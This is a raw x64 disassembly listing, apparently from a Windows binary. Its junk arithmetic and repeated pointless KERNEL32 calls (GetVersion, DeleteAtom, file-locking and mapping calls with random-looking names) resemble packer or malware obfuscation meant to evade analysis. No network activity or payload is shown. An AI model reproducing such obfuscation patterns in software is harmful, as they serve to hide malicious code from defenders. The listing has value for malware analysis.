mov rcx, qword [0x140363cc8]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x13cb8]
mov byte [rcx], al
movzx eax, byte [rsp + 0x2f8]
mov byte [rsp + 0x6ee], al
movsx eax, word [rsp + 0x29c4]
mov rcx, qword [rsp + 0x14518]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x13348]
mov word [rcx], ax
lea rax, [0x140363ae8]
mov qword [rsp + 0x14860], rax
mov eax, dword [rsp + 0xab74]
mov ecx, dword [rsp + 0xaa48]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x6ba8], eax
movzx eax, word [rsp + 0x2b60]
mov rcx, qword [rsp + 0x13a20]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2b2c], ax
mov rax, qword [0x140363aa8]
movzx eax, byte [rax]
mov byte [rsp + 0x6ef], al
lea rcx, [rsp + 0x41b68]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa9cc], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xac30], eax
lea rax, [rsp + 0xabf8]
mov qword [0x140363cd8], rax
mov rax, qword [rsp + 0x13e58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9d60]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14810]
mov dword [rcx], eax
lea rax, [rsp + 0x82ec]
mov qword [rsp + 0x14868], rax
mov rax, qword [rsp + 0x14150]
mov ecx, dword [rsp + 0xa2a4]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13668]
mov dword [rcx], eax
mov rax, qword [rsp + 0x140d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x20a]
shl eax, cl
mov byte [rsp + 0x118], al
mov rcx, qword [rsp + 0x12f28]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xace4], eax
lea rax, [rsp + 0x2b6c]
mov qword [rsp + 0x14870], rax
mov rax, qword [rsp + 0x13e00]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xaaa4]
sar eax, cl
mov dword [rsp + 0xaab4], eax
lea rax, [rsp + 0x73fc]
mov qword [rsp + 0x14878], rax
mov rax, qword [0x140363be8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa0d0]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13f30]
mov dword [rcx], eax
mov rax, qword [rsp + 0x144d8]
mov rcx, qword [rsp + 0x144e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [0x140363be0], eax
mov rax, qword [rsp + 0x13f50]
mov rcx, qword [rsp + 0x13760]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x13dc0]
mov dword [rcx], eax
lea rax, [rsp + 0x2a5c]
mov qword [rsp + 0x14880], rax
movsx eax, byte [rsp + 0x6b0]
movsx ecx, byte [rsp + 0x6cc]
and eax, ecx
mov rcx, qword [rsp + 0x14618]
mov byte [rcx], al
mov rax, qword [rsp + 0x13480]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13398]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x126c], ax
mov rax, qword [rsp + 0x13318]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13868]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x13890]
mov byte [rcx], al
mov eax, dword [rsp + 0xa71c]
mov ecx, dword [rsp + 0xac80]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa960], eax
lea rax, [rsp + 0xa904]
mov qword [rsp + 0x14888], rax
mov rax, qword [rsp + 0x14630]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x145a8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x6ed], al
movzx eax, word [rsp + 0x2ab8]
movzx ecx, word [rsp + 0x29b4]
and eax, ecx
mov word [0x140362afc], ax
mov rax, qword [rsp + 0x13d20]
mov eax, dword [rax]
mov dword [rsp + 0xace8], eax
mov r9d, 2
lea r8, [rsp + 0x143c0]
mov rdx, qword [rsp + 0x133a8]
mov rcx, qword [rsp + 0x12ef0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xab14], eax
mov eax, dword [rsp + 0x9d18]
mov ecx, dword [0x140363b08]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14258]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13d88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6d90]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6b84], eax
mov rax, qword [rsp + 0x13e90]
mov eax, dword [rax]
mov ecx, dword [0x140363bf8]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xac08], eax
mov rax, qword [rsp + 0x145f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14308]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2a54], ax
lea rax, [rsp + 0x6e0]
mov qword [rsp + 0x14890], rax
mov rax, qword [rsp + 0x13d88]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x8840]
sar eax, cl
mov rcx, qword [rsp + 0x133d0]
mov dword [rcx], eax
lea rdx, [rsp + 0x45d90]
mov rcx, qword [rsp + 0x14698]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xacec], eax
lea rcx, [rsp + 0x41b38]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
lea rax, [rsp + 0x763c]
mov qword [rsp + 0x14898], rax
lea rax, [rsp + 0x6e1]
mov qword [0x140363ce0], rax
mov rax, qword [rsp + 0x146b0]
movsx eax, word [rax]
mov rcx, qword [0x140363af8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2af8], ax
mov rax, qword [rsp + 0x13f68]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b78]
sub eax, ecx
mov rcx, qword [rsp + 0x13a90]
mov word [rcx], ax
mov rax, qword [rsp + 0x137b8]
movzx eax, byte [rax]
mov byte [rsp + 0x6f0], al
lea rdx, [rsp + 0x133a8]
mov rcx, qword [rsp + 0x13310]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xacf0], eax
mov eax, dword [0x140363bfc]
mov ecx, dword [rsp + 0xaaf4]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13350]
mov dword [rcx], eax
lea rcx, [rsp + 0x41c58]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x12f48]
mov eax, dword [rax]
mov dword [rsp + 0xacf4], eax
mov eax, dword [rsp + 0xa920]
mov ecx, dword [rsp + 0x66e0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13dc8]
mov dword [rcx], eax
mov rax, qword [0x140363c28]
mov ecx, dword [rsp + 0x8e08]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x910c], eax
lea rax, [rsp + 0x6f4c]
mov qword [rsp + 0x148a0], rax
mov rax, qword [rsp + 0x145f8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x251c]
add eax, ecx
mov word [rsp + 0x12b8], ax
mov rax, qword [0x140363b78]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13f40]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14035e48e], al
lea rax, [rsp + 0xaaf4]
mov qword [rsp + 0x148a8], rax
mov rax, qword [rsp + 0x13c60]
mov ecx, dword [rsp + 0x8398]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa804], eax
movzx ecx, word [rsp + 0x2984]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2a48], ax
mov rax, qword [0x140363bd8]
mov ecx, dword [rsp + 0x6898]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x138a8]
mov dword [rcx], eax
lea rax, [rsp + 0xab6c]
mov qword [rsp + 0x148b0], rax
mov rax, qword [rsp + 0x132f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2484]
sub eax, ecx
mov rcx, qword [rsp + 0x144a8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x6c5]
movzx ecx, byte [rsp + 0x6ef]
or eax, ecx
mov byte [rsp + 0x3b2], al
movsx eax, word [rsp + 0x2b88]
mov rcx, qword [rsp + 0x13950]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2a64], ax
movzx eax, byte [rsp + 0x67]
mov byte [rsp + 0x6f1], al
lea rax, [rsp + 0xabfc]
mov qword [0x140363ce8], rax
mov rax, qword [rsp + 0x14378]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x14800]
mov qword [rsp + 0x148b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x148b8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x12ee0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x144f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13ed0]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2aa8], ax
movzx eax, byte [rsp + 0x20a]
mov rcx, qword [rsp + 0x141e8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x120], al
mov rax, qword [rsp + 0x13b18]
mov ecx, dword [rsp + 0x80c8]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x138b8]
mov dword [rcx], eax
lea rax, [rsp + 0xac1c]
mov qword [rsp + 0x148c0], rax
mov rax, qword [rsp + 0x137e8]
mov rcx, qword [rsp + 0x13a60]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xabf0], eax
mov rax, qword [rsp + 0x13c18]
mov rcx, qword [rsp + 0x139c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x13bd0]
mov dword [rcx], eax
lea rax, [0x14035e48e]
mov qword [rsp + 0x148c8], rax
movzx eax, word [rsp + 0x29f8]
mov rcx, qword [rsp + 0x14478]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x140363b90]
mov word [rcx], ax
mov rax, qword [0x140363c30]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa868]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa2a4], eax
lea rax, [rsp + 0xa920]
mov qword [rsp + 0x148d0], rax
mov eax, dword [rsp + 0x6f4c]
mov ecx, dword [rsp + 0xa978]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8508], eax
mov rax, qword [0x140363b70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xabc4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x8508], eax
mov eax, dword [rsp + 0xa974]
mov dword [rsp + 0xacf8], eax
movsx eax, word [rsp + 0x2474]
movsx ecx, word [rsp + 0x2b4c]
sub eax, ecx
mov rcx, qword [rsp + 0x13e80]
mov word [rcx], ax
movzx eax, byte [rsp + 0x43e]
mov byte [rsp + 0x6f2], al
movzx eax, byte [0x140353597]
movzx ecx, byte [rsp + 0xb4]
sub eax, ecx
mov byte [rsp + 0x23b], al
lea rax, [rsp + 0x2888]
mov qword [0x140363cf0], rax
lea rax, [rsp + 0xaa90]
mov qword [rsp + 0x148d8], rax
mov rax, qword [0x140363c30]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xab20]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13a28]
mov dword [rcx], eax
movzx eax, word [rsp + 0x29e4]
mov rcx, qword [rsp + 0x137e0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1088], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xacfc], eax
lea rax, [rsp + 0x6e5]
mov qword [rsp + 0x148e0], rax
mov eax, dword [rsp + 0x8904]
mov ecx, dword [0x140363be0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x7e54], eax
mov eax, dword [rsp + 0xab44]
mov rcx, qword [rsp + 0x13900]
mov qword [rsp + 0x148e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x148e8]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0xa26c], eax
mov eax, dword [rsp + 0xa9b0]
mov rcx, qword [rsp + 0x13d58]
mov qword [rsp + 0x148f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x148f0]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x13c60]
mov dword [rcx], eax
movzx ecx, word [rsp + 0x2b14]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2b7c], ax
mov eax, dword [rsp + 0x717c]
mov ecx, dword [rsp + 0x8398]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xaae4], eax
lea rax, [rsp + 0x6d6]
mov qword [0x140363cf8], rax
lea rcx, [rsp + 0x41b38]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
lea rax, [rsp + 0x1a6c]
mov qword [rsp + 0x148f8], rax
mov rax, qword [rsp + 0x14468]
mov rcx, qword [rsp + 0x13820]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xac68], eax
lea rax, [rsp + 0xaa58]
mov qword [rsp + 0x14900], rax
mov rax, qword [rsp + 0x147e0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x135f0]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x14030]
mov byte [rcx], al
movsx eax, word [0x140353b08]
movsx ecx, word [rsp + 0x2a28]
add eax, ecx
mov rcx, qword [rsp + 0x146b0]
mov word [rcx], ax
lea rax, [rsp + 0x43d]
mov qword [rsp + 0x14908], rax
movzx ecx, word [rsp + 0x2ac0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2b94], ax
movzx eax, word [rsp + 0x2b00]
movzx ecx, word [rsp + 0x29c8]
or eax, ecx
mov word [rsp + 0x14dc], ax
mov rcx, qword [rsp + 0x13c28]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov r9d, 2
lea r8, [rsp + 0x14540]
mov rdx, qword [rsp + 0x12fb0]
mov rcx, qword [rsp + 0x14698]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xa958], eax
lea rax, [0x140363a18]
mov qword [rsp + 0x14910], rax
mov rax, qword [rsp + 0x139c8]
mov ecx, dword [rsp + 0x841c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [0x140363bc0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13460]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x96e4]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13a68]
mov dword [rcx], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.tJaekzusYWG
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x14918], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x27d3
mov r9d, 0x1662
mov r8d, 0xceac4de2
mov edx, 2
mov rcx, qword [rsp + 0x14590]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0xaad0], eax
mov rax, qword [rsp + 0x14210]
mov rcx, qword [rsp + 0x13908]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13e70]
mov dword [rcx], eax
mov eax, dword [rsp + 0x73a8]
mov dword [rsp + 0xad00], eax
movzx eax, word [rsp + 0x1a2c]
movzx ecx, word [rsp + 0x1008]
sub eax, ecx
mov word [rsp + 0x2a18], ax
lea rdx, [rsp + 0x144b8]
mov rcx, qword [rsp + 0x14698]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xad04], eax
lea rax, [rsp + 0x68e]
mov qword [rsp + 0x14920], rax
mov rax, qword [rsp + 0x146a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9a80]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8f98], eax
lea rax, [rsp + 0xa938]
mov qword [rsp + 0x14928], rax
mov eax, dword [rsp + 0x6b2c]
movzx ecx, al
mov eax, dword [0x14035cbf0]
shl eax, cl
mov dword [rsp + 0x7970], eax
mov eax, dword [rsp + 0xa724]
mov rcx, qword [rsp + 0x147c8]
mov qword [rsp + 0x14930], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14930]
mov eax, dword [rax]
sar eax, cl
mov dword [0x140363a60], eax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
movzx eax, word [rsp + 0x2ac4]
mov rcx, qword [0x140363b98]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x126c], ax
lea rax, [rsp + 0x6ec]
mov qword [rsp + 0x14938], rax
movsx eax, word [rsp + 0x2b0c]
mov rcx, qword [rsp + 0x139d8]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2ae8], ax
lea rax, [0x14035e4a7]
mov qword [rsp + 0x14940], rax
mov eax, dword [rsp + 0xac70]
mov ecx, dword [rsp + 0xab38]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa87c], eax
mov rax, qword [rsp + 0x13498]
mov ecx, dword [rsp + 0xabb4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xaa04], eax
mov rax, qword [rsp + 0x13d50]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x434]
sub eax, ecx
mov byte [rsp + 0x562], al
mov rax, qword [rsp + 0x135f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13ba8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2b24], ax
lea rdx, [rsp + 0x45e00]
mov rcx, qword [rsp + 0x140d8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xacec], eax
lea rax, [rsp + 0x6b80]
mov qword [0x140363d00], rax
mov rax, qword [rsp + 0x13d10]
mov eax, dword [rax]
mov dword [rsp + 0xad08], eax
mov rax, qword [rsp + 0x13840]
mov rcx, qword [rsp + 0x14800]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x146f8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13c78]
mov ecx, dword [rsp + 0xa808]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x13cf0]
mov dword [rcx], eax
lea rdx, [rsp + 0x133a8]
mov rcx, qword [rsp + 0x14178]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xa9d0], eax
lea rax, [rsp + 0x6cb]
mov qword [rsp + 0x14948], rax
movzx eax, word [rsp + 0x29f8]
mov rcx, qword [rsp + 0x13420]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1008], ax
lea rax, [rsp + 0xa980]
mov qword [rsp + 0x14950], rax
mov rax, qword [rsp + 0x13bd0]
mov ecx, dword [rsp + 0xa93c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x145d0]
mov dword [rcx], eax
mov r9d, 0x1554
xor r8d, r8d
lea rdx, [rsp + 0x13c28]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0xad0c], eax
lea rax, [rsp + 0xab24]
mov qword [rsp + 0x14958], rax
mov eax, dword [rsp + 0xab48]
mov ecx, dword [rsp + 0xaae0]
and ecx, eax
mov eax, ecx
mov rcx, qword [0x140363c28]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14238]
mov eax, dword [rax]
mov ecx, dword [0x1403639b8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x146f8]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x6b6]
mov rcx, qword [rsp + 0x14740]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x305], al
lea rax, [rsp + 0x2b54]
mov qword [rsp + 0x14960], rax
mov r9d, 2
lea r8, [rsp + 0x12f98]
mov rdx, qword [rsp + 0x14430]
mov rcx, qword [rsp + 0x12ee8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xa918], eax
movzx eax, byte [rsp + 0x6d3]
movzx ecx, byte [rsp + 0x6cb]
sar eax, cl
mov byte [rsp + 0x6c5], al
mov rax, qword [rsp + 0x13f78]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x29c0]
xor eax, ecx
mov word [rsp + 0x14b8], ax
mov eax, dword [rsp + 0xaadc]
mov ecx, dword [rsp + 0x6ae4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x7ea0], eax
mov rax, qword [rsp + 0x13f70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xabbc]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x145e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14770]
movzx eax, word [rax]
mov word [rsp + 0x2b98], ax
lea rax, [rsp + 0x211]
mov qword [0x140363d08], rax
mov rax, qword [rsp + 0x137c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa988]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14468]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13578]
mov eax, dword [rax]
mov dword [rsp + 0xad10], eax
mov rax, qword [0x140363ad0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x73a0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x142e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14068]
mov rcx, qword [rsp + 0x14008]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x145d8]
mov dword [rcx], eax
lea rax, [rsp + 0x29a0]
mov qword [rsp + 0x14968], rax
movzx eax, byte [rsp + 0x120]
mov rcx, qword [0x140363cf8]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x13a30]
mov byte [rcx], al
lea rax, [rsp + 0xa914]
mov qword [rsp + 0x14970], rax
mov eax, dword [rsp + 0xa900]
mov ecx, dword [rsp + 0xa774]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13df8]
mov dword [rcx], eax
lea rax, [rsp + 0x2ae0]
mov qword [0x140363d10], rax
lea rcx, [rsp + 0x41b68]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movsx eax, byte [0x14035e4a5]
mov rcx, qword [rsp + 0x14688]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x6c2], al
lea rcx, str.UDSTQ2ZplId_nK
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2b9c], ax
mov rax, qword [rsp + 0x14318]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13cb8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x2c8], al
xor r9d, r9d
lea r8, [rsp + 0x13750]
mov rdx, qword [rsp + 0x12fb0]
mov rcx, qword [rsp + 0x143a8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xacdc], eax
movzx eax, word [rsp + 0x12b8]
mov rcx, qword [rsp + 0x13e98]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2af0], ax
mov eax, dword [rsp + 0x8388]
mov dword [rsp + 0xad14], eax
mov rax, qword [rsp + 0x13f30]
mov ecx, dword [rsp + 0x898c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13d08]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xad18], eax
lea rax, [0x1403639b8]
mov qword [rsp + 0x14978], rax
mov rax, qword [rsp + 0x13970]
mov rcx, qword [rsp + 0x13628]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x145d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x136a8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x14810]
mov qword [rsp + 0x14980], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14980]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x9500], eax
movzx eax, word [rsp + 0x2554]
mov rcx, qword [rsp + 0x13758]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x20a8], ax
mov rax, qword [rsp + 0x14840]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6ef]
or eax, ecx
mov byte [0x14035e4d7], al
mov rax, qword [rsp + 0x13e68]
mov rcx, qword [0x140363a38]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x14468]
mov dword [rcx], eax
lea rdx, [rsp + 0x13750]
mov rcx, qword [rsp + 0x143a8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xac90], eax
lea rax, [rsp + 0xaa04]
mov qword [rsp + 0x14988], rax
mov eax, dword [rsp + 0xa9d8]
mov ecx, dword [rsp + 0xa350]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x137e8]
mov dword [rcx], eax
mov eax, dword [rsp + 0xac94]
mov ecx, dword [rsp + 0xacf4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9e80], eax
mov rax, qword [rsp + 0x14718]
movzx eax, word [rax]
mov word [rsp + 0x2ba0], ax
mov rax, qword [rsp + 0x146e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14798]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x133c0]
mov byte [rcx], al
lea rax, [rsp + 0x6d0]
mov qword [rsp + 0x14990], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov rax, qword [rsp + 0x13348]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2ae8]
add eax, ecx
mov word [rsp + 0x2b54], ax
lea rcx, [rsp + 0x41ce8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x14928]
mov rcx, qword [rsp + 0x13db0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [0x140363cc0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13f50]
mov ecx, dword [rsp + 0xa9c0]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x14810]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x6d9]
mov byte [rsp + 0x6f3], al
lea rdx, [rsp + 0x14220]
mov rcx, qword [rsp + 0x141d8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xaae8], eax
movzx eax, word [rsp + 0x2ad0]
movzx ecx, word [rsp + 0x1e64]
or eax, ecx
mov rcx, qword [rsp + 0x13f78]
mov word [rcx], ax
mov rax, qword [rsp + 0x13730]
mov rcx, qword [rsp + 0x147a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9860], eax
mov rax, qword [rsp + 0x14928]
mov ecx, dword [rsp + 0x7118]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x70b8], eax
mov eax, dword [0x140363b40]
mov rcx, qword [rsp + 0x13550]
mov qword [rsp + 0x14998], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14998]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x14338]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14208]
mov eax, dword [rax]
mov dword [rsp + 0xad1c], eax
mov rax, qword [rsp + 0x14290]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x132f8]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x14778]
mov word [rcx], ax
lea rax, [rsp + 0x6d9]
mov qword [0x140363d18], rax
mov rax, qword [rsp + 0x142b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xab00]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9694], eax
mov rax, qword [rsp + 0x13a68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa984]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xaab8], eax
mov eax, dword [0x14035cc24]
mov dword [rsp + 0xad20], eax
mov rax, qword [rsp + 0x13f18]
mov ecx, dword [rsp + 0xa9ec]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x13b70]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa904]
mov ecx, dword [rsp + 0xab90]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13270]
mov dword [rcx], eax
lea rax, [rsp + 0x6e6]
mov qword [rsp + 0x149a0], rax
mov rax, qword [rsp + 0x13428]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x13378]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x13998]
mov word [rcx], ax
movzx eax, word [rsp + 0x2aa4]
mov word [rsp + 0x2ba4], ax
mov rax, qword [rsp + 0x14788]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6e3]
sub eax, ecx
mov byte [0x14035e4a4], al
mov eax, dword [rsp + 0x6e3c]
mov ecx, dword [rsp + 0xaa44]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xac60], eax
